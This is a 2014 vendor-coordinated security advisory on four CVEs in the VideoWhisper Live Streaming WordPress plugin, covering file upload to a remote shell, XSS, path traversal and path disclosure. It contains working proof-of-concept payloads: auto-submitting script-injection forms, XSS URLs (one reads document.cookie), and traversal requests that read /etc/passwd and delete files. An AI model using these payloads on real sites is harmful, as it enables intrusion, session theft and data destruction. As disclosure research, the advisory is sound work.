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Multiple Vulnerabilities in VideoWhisper Live Streaming Integration WP Plugin

From: High-Tech Bridge Security Research <advisory () htbridge com>
Date: Thu, 27 Feb 2014 13:13:56 +0100 (CET)
Advisory ID: HTB23199
Product: VideoWhisper Live Streaming Integration
Vendor: VideoWhisper
Vulnerable Version(s): 4.27.3 and probably prior
Tested Version: 4.27.3
Advisory Publication:  February 6, 2014  [without technical details]
Vendor Notification: February 6, 2014 
Vendor Patch: February 7, 2014 
Public Disclosure: February 27, 2014 
Vulnerability Type: Unrestricted Upload of File with Dangerous Type [CWE-434], Cross-Site Scripting [CWE-79], Path 
Traversal [CWE-22], Information Exposure Through Externally-Generated Error Message [CWE-211]
CVE References: CVE-2014-1905, CVE-2014-1906, CVE-2014-1907, CVE-2014-1908
Risk Level: Critical 
CVSSv2 Base Scores: 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C), 5 (AV:N/AC:L/Au:N/C:N/I:P/A:N), 5 (AV:N/AC:L/Au:N/C:P/I:N/A:N), 5 
(AV:N/AC:L/Au:N/C:P/I:N/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in VideoWhisper Live Streaming Integration, 
which can be exploited to execute arbitrary code on the target system, gain access to potentially sensitive data, 
perform Cross-Site Scripting (XSS) attacks against users of vulnerable application and delete arbitrary files.


1) Arbitrary File Upload in VideoWhisper Live Streaming Integration: CVE-2014-1905

VideoWhisper Live Streaming Integration does not properly verify malicious file extensions before uploading files to 
the server in "/wp-content/plugins/videowhisper-live-streaming-integration/ls/vw_snapshots.php". A remote attacker can 
upload and execute arbitrary PHP file on the target system. 

The following PoC code demonstrates exploitation of the vulnerability:

After successful exploitation the remote shell will be accessible via the following URL:

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/snapshots/1.php.jpg

Successful exploitation of this vulnerability requires that the webserver is not configured to handle the mime-type for 
media files with .jpg extension.


2) Cross-Site Scripting (XSS) in VideoWhisper Live Streaming Integration: CVE-2014-1906

2.1 The vulnerability exists due to insufficient filtration of "m" HTTP POST parameter in 
"/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_status.php" script. A remote attacker can send a 
specially crafted HTTP POST request to the vulnerable script and permanently inject and execute arbitrary html and 
script code in browser in context of the vulnerable website when user visits a page with enabled plugin’s widget. The 
script will be also executed in administrative section on the following page: 

http://[host]/wp-admin/options-general.php?page=videowhisper_streaming.php&tab=live

The exploitation examples below use the "alert()" JavaScript function to display "immuniweb" word:

<body onLoad="document.hack.submit()">
<form name="hack" action="http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_status.php"; 
method="post">
<input type="hidden" name="s" value="1">
<input type="hidden" name="u" value="1">
<input type="hidden" name="r" value="1">
<input type="hidden" name="m" value="<script>alert('immuniweb')</script>">
</form>
</body>
 
2.2 The vulnerability exists due to insufficient filtration of "msg" HTTP POST parameter in 
"/wp-content/plugins/videowhisper-live-streaming-integration/ls/vc_chatlog.php" script. A remote attacker can send a 
specially crafted HTTP POST request to the vulnerable script and permanently inject and execute arbitrary html and 
script code in browser in context of the vulnerable website when user visits the affected page. 

The exploitation examples below use the "alert()" JavaScript function to display "immuniweb" word:

<body onLoad="document.hack.submit()">
<form name="hack" action="http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/vc_chatlog.php"; 
method="post">
<input type="hidden" name="msg" value="<script>alert('immuniweb')</script>">
<input type="hidden" name="r" value="1">
</form>
</body>

The code will be executed when the user visits the following URL:

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/uploads/[room]/Log[date].html 

Where [room] is set by HTTP POST parameter r and [date] is the current date.
 
2.3 The vulnerabilities exist due to insufficient filtration of "n" HTTP GET parameter passed to scripts "channel.php", 
"htmlchat.php", "video.php" and "videotext.php" within the 
"/wp-content/plugins/videowhisper-live-streaming-integration/ls/" directory. A remote attacker can send a specially 
crafted HTTP GET request to vulnerable scripts and execute arbitrary HTML and script code in browser in context of the 
vulnerable website.

The exploitation examples below use the "alert()" JavaScript function to display "immuniweb" word:

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/channel.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/htmlchat.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/video.php?n=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/videotext.php?n=%3C/title%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

2.4 The vulnerability exists due to insufficient filtration of "message" HTTP GET parameter passed to 
"/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php" script. A remote attacker can trick a 
user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the 
vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to display "immuniweb" word:

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_logout.php?message=%3C/title%3E%3Cscript%3Ealert('immuniweb')%3C/script%3E

2.5 The vulnerability exists due to insufficient filtration of "ct" HTTP POST parameter passed to 
"/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_status.php" script. A remote attacker can trick a 
logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the 
vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to display "immuniweb" word:

<body onLoad="document.hack.submit()">
<form name="hack" action="http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/lb_status.php"; 
method="post">
<input type="hidden" name="s" value="1">
<input type="hidden" name="r" value="1">
<input type="hidden" name="ct" value="<script>alert('immuniweb')</script>">
</form>
</body>

2.6 The vulnerability exists due to insufficient filtration of "ct" HTTP POST parameter passed to 
"/wp-content/plugins/videowhisper-live-streaming-integration/ls/v_status.php" script. A remote attacker can trick a 
user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the 
vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to display "immuniweb" word:
 
<body onLoad="document.hack.submit()">
<form name="hack" action="http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/v_status.php"; 
method="post">
<input type="hidden" name="s" value="1">
<input type="hidden" name="r" value="1">
<input type="hidden" name="ct" value="<script>alert('immuniweb')</script>">
</form>
</body>


3) Path Traversal in VideoWhisper Live Streaming Integration: CVE-2014-1907
 
3.1 The vulnerability exists due to insufficient filtration of "s" HTTP GET parameter in 
"/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_login.php" script. A remote attacker can view 
contents of arbitrary files on the target system using directory traversal sequences.

The exploitation example below displays contents of "/etc/passwd" file:

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_login.php?s=../../../../../../etc/passwd

3.2 The vulnerability exists due to insufficient filtration of "s" HTTP GET parameter in 
"/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_logout.php" script. A remote attacker can delete 
arbitrary files on the target system using directory traversal sequences.

The exploitation example below deletes a file "/tmp/immuniweb":

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp_logout.php?s=../../../../../../../../tmp/immuniweb

Successful exploitation of this vulnerability requires that file "/tmp/immuniweb" exists on the system.


4) Information Exposure Through Externally-generated Error Message in VideoWhisper Live Streaming Integration: 
CVE-2014-1908

4.1 The vulnerability exists due to improper implementation of error handling mechanisms in multiple scripts. A remote 
attacker can send a specially crafted HTTP GET request to vulnerable scripts and gain knowledge of full installation 
path of the application. 

The following URL can be used to gain knowledge of full installation path of the application:

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/bp.php

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/videowhisper_streaming.php

http://[host]/wp-content/plugins/videowhisper-live-streaming-integration/ls/rtmp.inc.php


-----------------------------------------------------------------------------------------------

Solution:

Update to VideoWhisper Live Streaming Integration version 4.29.5

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References:

[1] High-Tech Bridge Advisory HTB23089 - https://www.htbridge.com/advisory/HTB23089 - Multiple Vulnerabilities in 
VideoWhisper Live Streaming Integration Plugin for WordPress.
[2] VideoWhisper Live Streaming Integration - http://wordpress.org/plugins/videowhisper-live-streaming-integration/ - 
The VideoWhisper Live Streaming software can easily be used to add video broadcasting features to WordPress sites and 
live video streams on blog pages.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public 
use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE 
is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security 
assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details 
of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.
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